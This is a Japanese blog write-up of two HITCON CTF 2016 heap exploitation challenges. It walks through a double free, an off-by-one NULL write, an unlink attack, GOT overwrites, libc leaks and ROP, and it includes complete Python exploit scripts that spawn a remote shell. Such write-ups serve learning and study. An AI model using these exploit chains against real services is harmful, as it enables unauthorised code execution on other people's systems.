ShiftCrops つれづれなる備忘録

CTF関連の事やその他諸々

HITCON CTF Quals 2016 Writeup (Secret Holder & Babyheap)

今回はPwn問題を2問解きました.
とは言っても,うち1問は私の力じゃないのが大きいけど

チームメンバーは皆ひととこに集まって解いてたというのに,僕はずっと家に閉じこもっておりました(笑)
やっぱり集まった方が効率良いですよね・・・
反省ですわ

Secret Holder (Pwn 100)

問題文

Description
Break the Secret Holder and find the secret.
nc 52.68.31.117 5566

下調べ

shiftcrops@S-Ubuntu:~/CTF/HITCON$ file SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 
SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped
shiftcrops@S-Ubuntu:~/CTF/HITCON$ checksec.sh --file SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8

あー
64bitのstripされたELFだー
ま,IDAに投げればええか

RELROもPartial,canaryもNXも有効な,一般的なELFバイナリ

プログラム動作解析

Secretを保存するプログラム
できることはkeep(確保),Wipe(削除),Renew(書き換え)の3つのみ

保存するメモリのサイズは「Small」「Big」「Huge」の3つが用意されている.

shiftcrops@S-Ubuntu:~/CTF/HITCON$ ./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
Which level of secret do you want to keep?
1. Small secret
2. Big secret
3. Huge secret

※ここからは説明の為,関数や変数に適当な名前を付けている

Bigサイズのメモリを操作する時を想定して,各関数の流れを説明

keep

メモリを確保するkeep関数では,まずは既に該当サイズのメモリが確保されているのかどうかを,大域変数のena_bigが0でないかで判断する.
確保されていればそのまま関数を抜け,確保されていなかったらcallocでヒープからメモリを確保し,そのアドレスをbuf_bigに格納し,ena_bigを1にする.
その後に確保したメモリに,なにやら秘密を格納できる.

f:id:shift_crops:20161011145255p:plain

renew

内容の書き換えを行うrenew関数では,先程のena_bigを確認し,メモリが確保されていた場合はbuf_bigに格納されたアドレスにreadを行う.

f:id:shift_crops:20161011145616p:plain

wipe

問題なのが,メモリを解放するwipe関数
この関数では,メモリが確保されているのかどうかをena_bigで判断もせず,buf_bigに格納されているアドレスをfree関数で解法する.

更に悪いことに,解放後にbuf_bigをNULLにしていないため,double freeが可能となっている.

f:id:shift_crops:20161011151122p:plain


ちなみに,BSS領域に確保された大域変数のメモリ配置は次の通り
buf_big, buf_huge, buf_smallは8Byteだが,ena_big, ena_huge, ena_smallは4Byteとなっている.

f:id:shift_crops:20161011145658p:plain

方針

wipe関数の脆弱性を利用し,UAFに持ち込むことを目標とする.

buf_small, buf_big, buf_hugeのいずれか同士が同じアドレスを指すようにし,片方でwipeを行えばもう片方はenaに1が立ったままfreeされたことになる.
すなわち,renewでfree済みのチャンクをいじれることになる.

まず次の流れを考える

1: keep small
2: wipe small
3: keep big ※ buf_small == buf_big
4: wipe small ※ free(buf_big)
5: renew big

3まで実行した時点でbuf_smallとbuf_bigには同じアドレスが格納される
ただし,ena_smallは0, ena_bigは1となっている

f:id:shift_crops:20161011152956p:plain

ここで,wipe smallすればkeep bigで確保したメモリが解放されるが,ena_bigは1のままなのでrenewで書き込みが可能となる.


しかし,ここで行き詰る

UAFまでできたら次にはUnlink Attackなどに持ち込みたいと考える.
しかし,仮にここまでやっても次のfreeチャンクのサイズを書き換えられるだけであまりうま味が無い

もう一個callocできたらなーなんて思ってるとhugeがある
しかし,ここまで巨大なサイズのcallocをすると,別のページに確保されてしまうのでどうにも使えない・・・

なんてことを考えてると,一回keep hugeしてからwipe hugeし,再びkeep hugeするとヒープが拡張され,他のチャンクと連続したメモリアドレスに確保されることが発覚
これは使えるぞい


てなわけで,書き換え役をbigからhugeに方針転換,ついでに事前のkeep hugeを含めてこのような流れに

1: keep huge
2: wipe huge
3: keep small
4: wipe small
5: keep huge ※ buf_small == buf_huge
6: wipe small ※ free(buf_huge)

この次にsmallとbigを順にkeepし,hugeから自由に書き換えができる確保済みチャンクを作る.

7: keep small ('\x41'x8)
8: keep big ('\x61'x8)

f:id:shift_crops:20161011155839p:plain

Unlink Attackに持ち込みたいので,自由にヘッダまで弄れるチャンクが2個欲しい.
しかし,このままではbigのヘッダしかいじれないのでダメ・・・
(ここに至る以前に,チャンク1つでfastbinsのUnlink Attackには成功したのだが,読み書きができる固定アドレスに0x30が無かったのでこの方針は断念した経緯がある)

そこで,確保済みのbigチャンクの大きさを書き換え,小さい偽チャンクを無理やり作る

9: renew huge

    exploit_st1  = '\x00'*0x28
    exploit_st1 += pack_64(0x30 | PREV_INUSE)
    exploit_st1 += '\x00'*0x28
    exploit_st1 += pack_64(0x81fa0 | PREV_INUSE)

サイズを書き換えたbigチャンクをfreeさせることで0x30サイズのfastbinsの先頭に繋ぎ,次のkeep smallでここを返すようにする.
また,keep bigをすれば,「元々の正しいbigチャンク」の直下に新しいbigチャンクが確保されるので,renew hugeで書き換えできるチャンクが2つになったことになる.

10: wipe small
11: wipe big
12: keep small ('\x41'x8)
13: keep big ('\x61'x8)

13まで実行したの時点でのbuf_small, buf_bigの値と,ヒープの状態は次の通り

f:id:shift_crops:20161011163312p:plain

Unlink Attackを行うためには,まさにそのチャンクの先頭を指すポインタが固定アドレスに無くてはならない.
そこで思いつくのがbuf_smallである.

しかし,このポインタはチャンクの先頭から0x10Byte上位を指している.
そのため,指している先が正にチャンクの先頭になるように,0x10Byteだけずらした場所に「あたかもfree済みのような」偽チャンクを作る.

14: renew huge

    addr_ptr_small = 0x6020b0

    exploit_st2  = '\x00'*0x30
    # small (shift small chunk behind 16 bytes)
    exploit_st2 += pack_64(0x0)                 # prev_size
    exploit_st2 += pack_64(0xfa0 | PREV_INUSE)  # size
    exploit_st2 += pack_64(addr_ptr_small-0x18) # fd
    exploit_st2 += pack_64(addr_ptr_small-0x10) # bk
    exploit_st2 += '\x00'*0xf80
    # big
    exploit_st2 += pack_64(0xfa0)               # prev_size
    exploit_st2 += pack_64(0xfb0 & ~PREV_INUSE) # size

ここまでくれば準備完了

あとは,wipe bigすれば直前の「smallとちょっとずれた」チャンクのUnlinkが走り,addr_ptr_smallに格納される値がaddr_ptr_small-0x18に書き換えられる.(buf_small = *buf_big-0x8)
すなわち,renew smallでbuf_big, buf_huge, buf_smallを書き換え,その後はrenewで任意アドレスの書き換えが可能となった.

フェーズ2:GOT Overwrite -> ROP

今回はシェルをとるのが目標だが,ASLRが有効の為libcのベースアドレスが分からない.

そこで一旦GOTを書き換えて適当な関数でをリークをさせ,ベースアドレスを特定した後に再びGOTを書き換えて・・・という流れが考えられる
しかし,どのように引数を与えるかなど,この一連の作業が面倒なのでROPに持ち込んで楽することにする.

結構大きな数の文字数をreadして,直後にreturnするような都合に良い命令列が無い物かと探していたら,keep関数内に良いもの発見

f:id:shift_crops:20161011171442p:plain

raxに書き込みたい先のアドレス(スタック)を格納しておき,ここを呼べば盛大にスタックを溢れさせてくれそう
しかし,そんな丁度良いアドレスをraxに格納して呼ばれる関数があるものだろうか,と探していると,またしてもこんな都合の良い命令列がmain関数内に登場

f:id:shift_crops:20161011171906p:plain

はい,おしまい

memsetを先程の大量readに書き換えてやればスタックを書き換え,keep関数のretでROPが発動する
ただし,直前のcanaryチェックがあるので,__stack_chk_failのGOTをただのretに向けてやり,何事もなかったかのようにスルーさせれば問題なし

    addr_read_lot = 0x4009f9

    payload_st1  = '\x00'*0x8
    payload_st1 += pack_64(addr_got_memset)     # buf_big
    payload_st1 += pack_64(0)                   # buf_huge (not used)
    payload_st1 += pack_64(addr_got_stack_fail) # buf_small
    payload_st1 += pack_32(1)*3
    shd.renew('small', payload_st1)

    shd.renew('small', pack_64(addr_ret))       # addr_got_stack_fail   <- addr_ret
    shd.renew('big', pack_64(addr_read_lot))    # addr_got_memset       <- addr_read_lot


ここまで来たら,もうゴールは目前

__libc_start_mainのGOTアドレスをrdiに格納して,plt経由でputsを呼んで__libc_start_maiのアドレス特定
libcが与えられていなかったが,適当にBabyheapとかのlibcとオフセットを比較したら一致したので勝ち

libcベースが特定できたら,再びmain関数に戻って2度目のROPを実行
system関数でシェルを呼べばおしまい

ついでに,system("/bin/sh")を呼ぶ前にalarm(0)を呼んで,timeoutを無効にしておくのもアリ

Exploit

#!/usr/bin/env python
from sc_pwn import *

env = Environment('local', 'remote')
env.set_item('target',  local   = {'host':'192.168.75.139','port':8080}, \
                        remote  = {'host':'52.68.31.117','port':5566})
env.set_item('libc',    local   = 'D:\CTF\FILES\libc-2.19.so_amd64_local', \
                        remote  = 'libc.so.6_375198810bb39e6593a968fcbcf6556789026743')
env.select()

binf = ELF('SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8', rop=True)
libc = ELF(env.libc)

addr_got_stack_fail = binf.got('__stack_chk_fail')
addr_got_memset     = binf.got('memset')
addr_got_main       = binf.got('__libc_start_main')

addr_plt_puts       = binf.plt('puts')
addr_plt_alarm      = binf.plt('alarm')
addr_plt_exit       = binf.plt('exit')

addr_ret            = binf.ropgadget('ret')
addr_pop_rdi        = binf.ropgadget('pop rdi', 'ret')

addr_main           = 0x400cc2
addr_read_lot       = 0x4009f9
addr_ptr_small      = 0x6020b0

size_num = {'small':1, 'big':2, 'huge':3}

#==========
def attack(cmn):
    shd = SecretHolder(cmn)
    
    proc('Pahse1 : Unlink Attack')
    
    shd.keep('huge', '')
    shd.wipe('huge')
    shd.keep('small', '')
    shd.wipe('small')
    shd.keep('huge', '')                        # buf_huge == buf_small
    shd.wipe('small')

    exploit_st1  = '\x00'*0x28
    exploit_st1 += pack_64(0x30 | PREV_INUSE)
    exploit_st1 += '\x00'*0x28
    exploit_st1 += pack_64(0x81fa0 | PREV_INUSE)
    
    shd.keep('small', '')
    shd.keep('big', '')
    shd.renew('huge', exploit_st1)
    shd.wipe('small')
    shd.wipe('big')

    exploit_st2  = '\x00'*0x30
    # small (shift small chunk behind 16 bytes)
    exploit_st2 += pack_64(0x0)                 # prev_size
    exploit_st2 += pack_64(0xfa0 | PREV_INUSE)  # size
    exploit_st2 += pack_64(addr_ptr_small-0x18) # fd
    exploit_st2 += pack_64(addr_ptr_small-0x10) # bk
    exploit_st2 += '\x00'*0xf80
    # big
    exploit_st2 += pack_64(0xfa0)               # prev_size
    exploit_st2 += pack_64(0xfb0 & ~PREV_INUSE) # size

    shd.keep('small', '')
    shd.keep('big', '')
    shd.renew('huge', exploit_st2)
    shd.wipe('big')                             # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)

    #==========

    proc('Pahse2 : GOT overwrite to ROP')
    
    payload_st1  = '\x00'*0x8
    payload_st1 += pack_64(addr_got_memset)     # buf_big
    payload_st1 += pack_64(0)                   # buf_huge (not used)
    payload_st1 += pack_64(addr_got_stack_fail) # buf_small
    payload_st1 += pack_32(1)*3
    shd.renew('small', payload_st1)

    shd.renew('small', pack_64(addr_ret))       # addr_got_stack_fail   <- addr_ret
    shd.renew('big', pack_64(addr_read_lot))    # addr_got_memset       <- addr_read_lot

    #==========
    
    proc('Pahse3 : Leak libc base-address')
    
    payload_st2  = '\x00'*0x18
    payload_st2 += pack_64(addr_pop_rdi)
    payload_st2 += pack_64(addr_got_main)
    payload_st2 += pack_64(addr_plt_puts)
    payload_st2 += pack_64(addr_main)

    cmn.read_until('3. Renew secret\n')
    cmn.send(payload_st2)

    addr_libc_main = cmn.read_until(contain=False)
    addr_libc_main = unpack_64(addr_libc_main+'\x00'*(8-len(addr_libc_main)))
    info('addr_libc_main    = 0x%08x' % addr_libc_main)
    
    libc.set_location('__libc_start_main', addr_libc_main)
    addr_libc_system    = libc.function('system')
    addr_libc_str_sh    = libc.search('/bin/sh')

    #==========

    proc('Pahse4 : Execute /bin/sh')
    
    payload_st3  = '\x00'*0x18
    payload_st3 += pack_64(addr_pop_rdi)
    payload_st3 += pack_64(0)
    payload_st3 += pack_64(addr_plt_alarm)
    
    payload_st3 += pack_64(addr_pop_rdi)
    payload_st3 += pack_64(addr_libc_str_sh)
    payload_st3 += pack_64(addr_libc_system)

    payload_st3 += pack_64(addr_plt_exit)

    cmn.read_until('3. Renew secret\n')
    cmn.send(payload_st3)

#========== 

class SecretHolder:
    def __init__(self, cmn):
        self._read_until = cmn.read_until
        self._sendln     = cmn.sendln
        self._send       = cmn.send
        
    def keep(self, size, secret):
        self._read_until('3. Renew secret\n')
        self._sendln('1')
        self._read_until('3. Huge secret\n')
        self._sendln(str(size_num[size]))
        
        self._read_until('Tell me your secret: \n')
        self._send(secret if secret else '\x00')

    def wipe(self, size):
        self._read_until('3. Renew secret\n')
        self._sendln('2')
        self._read_until('3. Huge secret\n')
        self._sendln(str(size_num[size]))

    def renew(self, size, secret):
        self._read_until('3. Renew secret\n')
        self._sendln('3')
        self._read_until('3. Huge secret\n')
        self._sendln(str(size_num[size]))
        
        self._read_until('Tell me your secret: \n')
        self._send(secret if secret else '\x00')

#==========

if __name__=='__main__':
    cmn = Communicate(env.target,mode='SOCKET')
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========



Babyheap (Pwn 300)

問題文

Description
Heap so fun! Baby, don't do it first.
nc 52.68.192.99 8731

note : the service is running on ubuntu 16.04


Hint
We are STRONGLY recommend that you try this challenge in 16.04 (or with the attached libc)

めっちゃUbuntu 16.04で実行することを薦められてる
なにかしら挙動が違うんだろうなぁ

下調べ

shiftcrops@S-Ubuntu:~/CTF/HITCON$ file babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b 
babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=2cf55840293ae4d6ddc13488c57b8009e598642f, stripped
shiftcrops@S-Ubuntu:~/CTF/HITCON$ checksec.sh --file babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b

SecretHolderと一緒
特記事項無し

プログラム動作解析

なにやらコンテンツと名前を格納するプログラム
New,Delete,Editの3つの機能があるらしい.

f:id:shift_crops:20161011210227p:plain

ただし,DeleteとEditはそれぞれ1回しかできず,2回呼ぼうとすると_exitで死ぬ

※今回も関数や変数に適当な名前を付けている

データ構造

New関数で新たに書き込もうとすると,2つの領域が確保される.

まずはじめに名前,contentのサイズとポインタを格納するための構造体がmallocで用意される.
次にサイズを入力するとその値がsizeに格納され,そのサイズ分mallocされたポインタがcontentに収められる.

struct DATA {
    size_t size;
    char name[8];
    char *content;
}

ちなみに,この確保された構造体のアドレスは大域変数に保存されている.


contentやnameの入力には,文字列を受け取るための関数(get_str)が用意されている.
この関数の呼び出しには上限の文字数が引数として与えられており,一見すると問題が無いように思われる.

f:id:shift_crops:20161011211927p:plain

しかしこの関数,よくよく読んでみるとreadの上限は確かに第2引数で与えられたサイズを守っているのだが,最後に入力された文字数+1したところにNULL文字付加してる・・・

f:id:shift_crops:20161011212805p:plain

Off-by-One Errorがここで発生
既定のサイズより1だけ大きいところにNULLを書き込める脆弱性を発見


Delete関数とEdit関数には特に問題は見受けられない.
Delete関数ではまずcontentをfreeし,次に構造体自体をfreeする.
Edit関数では初めに入力したサイズ分だけ入力を受け,contentに格納されたアドレスに書き込む.

ここでも入力はget_str関数を使っているので何かしら問題になると思いきや,溢れる先はfreeサイズであまり遊べなさそう.

方針

僕がSecret Holder解いてた間に,ほとんどなんちゃら氏が前半フェーズの任意アドレス書き換えまで組んでてくれたのでその流用
一応,それを見る前に悩んでたところもあったので,前半戦の解説もしていく

フェーズ1:任意アドレス書き換え

1ByteだけNULLに書き換えて何ができるか考えると,一番大きいのはポインタの下位1Byteを書き換えて参照をずらせることにあると考える.
その場所は,構造体のcontentの部分
contentにmallocで確保されたメモリのアドレスが格納されたのち,nameで丁度8Byte送ると図のようにそのアドレスが書き換えられる.

f:id:shift_crops:20161011215527p:plain

ここでfreeを呼ぶと,一つ目のチャンクよりもさらに0x10Byte下位の所をfreeしようとする.
しかしながら,この状態では8Byte前のサイズ要素にアクセスしようとして,SEGVを起こして落ちる
(この図ではASLRが無効なのでそこのメモリにアクセスできるが,本番環境ではそうではないので死ぬ)

さて困った
ここでヒントを思い出す
すごく強く16.04での実行を薦められてた
(実際,最初はこの注意を見落としてて,14.04でやってて分かんねぇって唸ってた)

まぁ結果から言ってしまうと,どうやら16.04のlibcの環境ではバッファリングのメモリがヒープに確保されるらしい.
今回はNewでmallocする領域よりも前にread/writeできるメモリが欲しいので,初めにExitメニューの(Y/n)の部分で大量の文字列を送り,ヒープに偽チャンクヘッダを仕込んでおく.

mallocで確保される構造体のアドレスが0x100Byte以上下にずれればいいので,バッファリングする文字数をはじめは0x100にして実験したが,そうすると0x1000Byteもバッファリング用にヒープが確保されるらしいので,仕方がないがこんな感じの文字列を0x1000Byte近く送る羽目になった.

    chunk_1  = 'nn'
    chunk_1 += '\x00'*(0x1000-0x18-len(chunk_1))
    chunk_1 += pack_64(0x50)
    bh.Exit(chunk_1)

    chunk_3  = pack_64(0)
    chunk_3 += pack_64(0x21)
    bh.New(0x80, chunk_3, 'A'*8)

Newでchunk_3のデータを保存した結果,構造体付近のデータ構造は次のようになる

f:id:shift_crops:20161011224956p:plain

青で囲まれているのが本来のチャンクで,赤で囲まれてるのは今回作った偽チャンクである.
バッファリングされたデータの最後尾に偽チャンクのサイズを置いておき,丁度そのチャンクが途切れるあたりに次のチャンクの大きさを置いておく.
(contentのメンバが次のチャンクに食い込んでいるが,free時のprev_sizeからを一つのチャンクとして囲っているためこのような図になっている)

この状態でDeleteを行うと,content(0x604000)と構造体(0x604020)がそれぞれfreeに渡される.
その結果,サイズが0x20のbinsのリストには0x604010,0x50のリストには0x603ff0が繋がれ,次にこのサイズがmallocされた時にこれらのチャンクが返るようになる.

f:id:shift_crops:20161011225359p:plain

構造体のために確保するサイズは決まっているので,contentのサイズを0x50のチャンクが返るように調整する.
その結果図の赤で囲まれたチャンクが返り,New関数での初期の書き込みで構造体の要素を自由に書き換えられる.

f:id:shift_crops:20161011230411p:plain

contentのアドレスを任意のアドレスに指定して,Editで書き換えが可能となる.

フェーズ2:GOT Overwrite

ここからが僕のお仕事

任意アドレス書き換えが可能になったら,まず考えるのはGOT Overwrite
ユーザからの入力の後,それをそのまま第一引数に取る都合の良い関数を発見したので,atoiの書き換えを試す.

f:id:shift_crops:20161011231235p:plain

先程同様にROPに持ち込むことを考えて,初めにatoiをscanf,__stack_chk_failをretに書き換え
atoiの第一引数には"%s"を与えた.
(第2引数も第1引数と同じアドレスであったため,スタックオーバフローを引き起こせる)

しかしながらROPgadgetを探していたら,肝心のpop rdi; retのアドレスに改行文字(\x0d)が含まれており,どうにもできずに断念.


仕方がないので,面倒だが2回GOTを書き換える方針をとる事にした.
Editではサイズを大きくしておけば一気に書き換えができるので,_exitからatoiの書き換えを一回で行う.

    rewrite_got  = pack_64(addr_ret)            # _exit
    rewrite_got += pack_64(addr_plt_read)       # __read_chk
    rewrite_got += pack_64(addr_plt_puts+6)     # puts
    rewrite_got += pack_64(0xdeadbeef)
    rewrite_got += pack_64(addr_plt_printf+6)   # printf
    rewrite_got += pack_64(addr_plt_alarm+6)    # alarm
    rewrite_got += pack_64(addr_plt_read+6)     # read
    rewrite_got += pack_64(0xdeadbeef)
    rewrite_got += pack_64(0xdeadbeef)
    rewrite_got += pack_64(0xdeadbeef)
    rewrite_got += pack_64(0xdeadbeef)
    rewrite_got += pack_64(addr_plt_printf)     # atoi

GOTを2回書き換えるためにはEditを2回呼ぶ必要があるので,2回目に呼ばれても_exitで落ちることが無いように_exitをただのretにする.
次に,atoiをscanfではなくprintfにする.
(その他の今後使う予定のある関数については,再度解決できるようにする)

printfにユーザ入力がそのまま渡されるようになるので,FSBでGOTからfreeのアドレスをリークさせることを考える.
freeを選んだ理由としては,唯一書き換えられていないGOTの要素だからである.

2回目のEditを呼ぶ際にメニューで3を選ばなくてはならないが,printfの戻り値は出力した文字数なので,ユーザ入力で3文字与えてやればそのまま出力し,3を返して無事に選択できる.

libcのベースが特定できたら,Editでatoiをsystemに書き換えて,引数に"/bin/sh"を与えておしまい.


補足:Edit関数が2回目に呼ばれた時は_exit(0)が呼ばれるので,_exitをretではなくalarmにして,SecretHolderと同様にtimeoutを無効にも出来る.

Exploit

#!/usr/bin/env python
from sc_pwn import *

env = Environment('local', 'remote')
env.set_item('target',  local   = {'host':'localhost','port':8080}, \
                        remote  = {'host':'52.68.77.85','port':8731})
env.select()

binf = ELF('babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b', rop=True)
libc = ELF('libc.so.6_375198810bb39e6593a968fcbcf6556789026743')
addr_got_free       = binf.got('free')
addr_got_exit       = binf.got('_exit')

addr_plt_puts       = binf.plt('puts')
addr_plt_printf     = binf.plt('printf')
addr_plt_alarm      = binf.plt('alarm')
addr_plt_read       = binf.plt('read')

#==========
def attack(cmn):
    bh = BabyHeap(cmn)

    chunk_1  = 'nn'
    chunk_1 += '\x00'*(0x1000-0x18-len(chunk_1))
    chunk_1 += pack_64(0x50)
    bh.Exit(chunk_1)

    chunk_3  = pack_64(0)
    chunk_3 += pack_64(0x21)
    bh.New(0x80, chunk_3, 'A'*8)
    
    bh.Delete()

    rewrite_got  = pack_64(addr_plt_alarm)      # _exit
    rewrite_got += pack_64(addr_plt_read)       # __read_chk
    rewrite_got += pack_64(addr_plt_puts+6)     # puts
    rewrite_got += pack_64(0xdeadbeef)
    rewrite_got += pack_64(addr_plt_printf+6)   # printf
    rewrite_got += pack_64(addr_plt_alarm+6)    # alarm
    rewrite_got += pack_64(addr_plt_read+6)     # read
    rewrite_got += pack_64(0xdeadbeef)
    rewrite_got += pack_64(0xdeadbeef)
    rewrite_got += pack_64(0xdeadbeef)
    rewrite_got += pack_64(0xdeadbeef)
    rewrite_got += pack_64(addr_plt_printf)     # atoi
    
    chunk_2  = '\x00'*0x20
    chunk_2 += pack_64(len(rewrite_got))        # size
    chunk_2 += pack_64(0)                       # name (over written)
    chunk_2 += pack_64(addr_got_exit)           # &content
    bh.New(0x48, chunk_2, 'name')
    
    bh.Edit(rewrite_got)                        # got_exit <- alarm, got_atoi <- printf

    cmn.read_until('Your choice:')
    cmn.send('%9$s!!  '+pack_64(addr_got_free)) # FSB
    addr_libc_free = cmn.read_until('!!', contain=False)
    addr_libc_free = unpack_64(addr_libc_free+'\x00'*(8-len(addr_libc_free)))
    info('addr_libc_free    = 0x%08x' % addr_libc_free)

    libc.set_location('free', addr_libc_free)
    addr_libc_system    = libc.function('system')
    info('addr_libc_system  = 0x%08x' % addr_libc_system)

    rewrite_got  = rewrite_got[:-8]
    rewrite_got += pack_64(addr_libc_system)    # atoi
    bh.Edit(rewrite_got)                        # alarm(0), got_atoi <- system

    cmn.read_until('Your choice:')
    cmn.send('/bin/sh\0')

#==========

class BabyHeap:
    def __init__(self, cmn):
        self._read       = cmn.read
        self._read_until = cmn.read_until
        self._send       = cmn.send
        self._sendln     = cmn.sendln

    def New(self, size, content, name):
        self._read_until('Your choice:')
        self._send('1')

        prompt = self._read(6)
        if 'Size' in prompt:
            self._sendln(str(size))
            self._read_until('Content:')
            self._send(content)
            self._read_until('Name:')
            self._send(name)
        else:
            fail('Remote program is exited')

    def Delete(self):
        self._read_until('Your choice:')
        self._send('2 ')
        
    def Edit(self, content):
        self._read_until('Your choice:')
        self._send('3  ')

        self._read(7)
        self._send(content)

    def Exit(self, ans):
        self._read_until('Your choice:')
        self._send('4   ')
        self._read_until('(Y/n)')
        self._sendln(ans)
        
#==========

if __name__=='__main__':
    cmn = Communicate(env.target,mode='SOCKET')
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========

感想

いやぁヒープ問題楽しいですね!
こんな問題を作れるHITCON,本当に尊敬します・・・
Babyheapに至っては,なーにがbabyじゃい!って思ってましたが(笑)

ヒープ周りのお勉強になるし,本当にありがとうございました.
楽しかったですわ